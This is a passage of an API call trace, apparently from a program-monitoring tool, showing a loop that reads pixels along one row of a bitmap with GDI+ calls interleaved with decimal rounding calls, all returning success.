	[0073.420] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.420] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.420] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.421] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=173, y=0, color=0x1c69c760) returned 0x0
	[0073.421] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.421] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.421] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.421] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.421] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=174, y=0, color=0x1c69c760) returned 0x0
	[0073.421] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.421] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.422] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.422] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.422] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=175, y=0, color=0x1c69c760) returned 0x0
	[0073.422] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.422] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.422] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.422] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.422] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=176, y=0, color=0x1c69c760) returned 0x0
	[0073.423] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.423] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.423] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.423] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.423] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=177, y=0, color=0x1c69c760) returned 0x0
	[0073.423] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.423] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.423] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.423] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.423] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=178, y=0, color=0x1c69c760) returned 0x0
	[0073.424] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.424] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.424] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.424] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.424] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=179, y=0, color=0x1c69c760) returned 0x0
	[0073.424] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.424] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.424] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.425] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.425] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=180, y=0, color=0x1c69c760) returned 0x0
	[0073.425] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.425] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.425] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.425] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.425] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=181, y=0, color=0x1c69c760) returned 0x0
	[0073.425] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.426] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.426] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.426] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.426] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=182, y=0, color=0x1c69c760) returned 0x0
	[0073.426] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.426] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.426] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.426] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.426] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=183, y=0, color=0x1c69c760) returned 0x0
	[0073.427] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.427] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.427] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.427] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.427] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=184, y=0, color=0x1c69c760) returned 0x0
	[0073.427] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.427] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.427] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.427] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.428] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=185, y=0, color=0x1c69c760) returned 0x0
	[0073.428] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.428] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.428] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.428] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.428] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=186, y=0, color=0x1c69c760) returned 0x0
	[0073.428] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.428] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.428] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.429] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.429] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=187, y=0, color=0x1c69c760) returned 0x0
	[0073.429] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.429] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.429] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.429] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.429] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=188, y=0, color=0x1c69c760) returned 0x0
	[0073.429] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.429] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.430] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.430] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.430] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=189, y=0, color=0x1c69c760) returned 0x0
	[0073.430] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.430] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.430] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.430] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.430] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=190, y=0, color=0x1c69c760) returned 0x0
	[0073.430] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.431] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.431] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.431] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.431] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=191, y=0, color=0x1c69c760) returned 0x0
	[0073.431] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.431] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.431] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.431] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.431] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=192, y=0, color=0x1c69c760) returned 0x0
	[0073.432] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.432] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.432] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.432] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.432] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=193, y=0, color=0x1c69c760) returned 0x0
	[0073.432] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.432] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.432] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.432] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.433] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=194, y=0, color=0x1c69c760) returned 0x0
	[0073.433] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.433] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.434] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.434] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.434] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=195, y=0, color=0x1c69c760) returned 0x0
	[0073.434] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.434] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.434] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.434] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.434] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=196, y=0, color=0x1c69c760) returned 0x0
	[0073.435] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.435] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.435] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.435] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.435] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=197, y=0, color=0x1c69c760) returned 0x0
	[0073.435] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.435] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.435] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.435] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.436] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=198, y=0, color=0x1c69c760) returned 0x0
	[0073.436] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.436] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.436] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.436] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.436] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=199, y=0, color=0x1c69c760) returned 0x0
	[0073.436] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.436] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.437] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.437] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.437] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=200, y=0, color=0x1c69c760) returned 0x0
	[0073.437] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.437] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.437] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.437] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.437] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=201, y=0, color=0x1c69c760) returned 0x0
	[0073.438] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.438] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.438] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.438] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.438] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=202, y=0, color=0x1c69c760) returned 0x0
	[0073.438] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.438] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.438] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.438] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.438] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=203, y=0, color=0x1c69c760) returned 0x0
	[0073.439] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.439] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.439] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.439] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.439] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=204, y=0, color=0x1c69c760) returned 0x0
	[0073.439] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.439] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.439] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.439] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.439] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=205, y=0, color=0x1c69c760) returned 0x0
	[0073.440] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.440] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.440] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.440] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.440] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=206, y=0, color=0x1c69c760) returned 0x0
	[0073.440] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.440] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.440] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.441] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.441] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=207, y=0, color=0x1c69c760) returned 0x0
	[0073.441] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.441] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.441] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.441] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.441] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=208, y=0, color=0x1c69c760) returned 0x0
	[0073.441] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.442] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.442] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.442] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.442] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=209, y=0, color=0x1c69c760) returned 0x0
	[0073.442] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.442] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.442] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.442] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.442] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=210, y=0, color=0x1c69c760) returned 0x0
	[0073.442] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.443] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.443] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.443] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.443] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=211, y=0, color=0x1c69c760) returned 0x0
	[0073.443] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.443] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.443] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.443] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.444] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=212, y=0, color=0x1c69c760) returned 0x0
	[0073.444] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.444] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.444] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.444] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.444] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=213, y=0, color=0x1c69c760) returned 0x0
	[0073.444] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.444] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.444] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.444] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.445] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=214, y=0, color=0x1c69c760) returned 0x0
	[0073.445] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.445] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.445] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.445] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.445] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=215, y=0, color=0x1c69c760) returned 0x0
	[0073.445] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.445] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.445] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.445] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.446] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=216, y=0, color=0x1c69c760) returned 0x0
	[0073.446] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.446] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.446] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.446] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.446] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=217, y=0, color=0x1c69c760) returned 0x0
	[0073.446] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.447] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.447] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.447] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.447] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=218, y=0, color=0x1c69c760) returned 0x0
	[0073.447] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.447] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.447] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.447] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.448] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=219, y=0, color=0x1c69c760) returned 0x0
	[0073.448] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.448] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.448] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.448] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.448] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=220, y=0, color=0x1c69c760) returned 0x0
	[0073.448] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.448] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.448] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.449] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.449] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=221, y=0, color=0x1c69c760) returned 0x0
	[0073.449] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.449] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.449] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.449] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
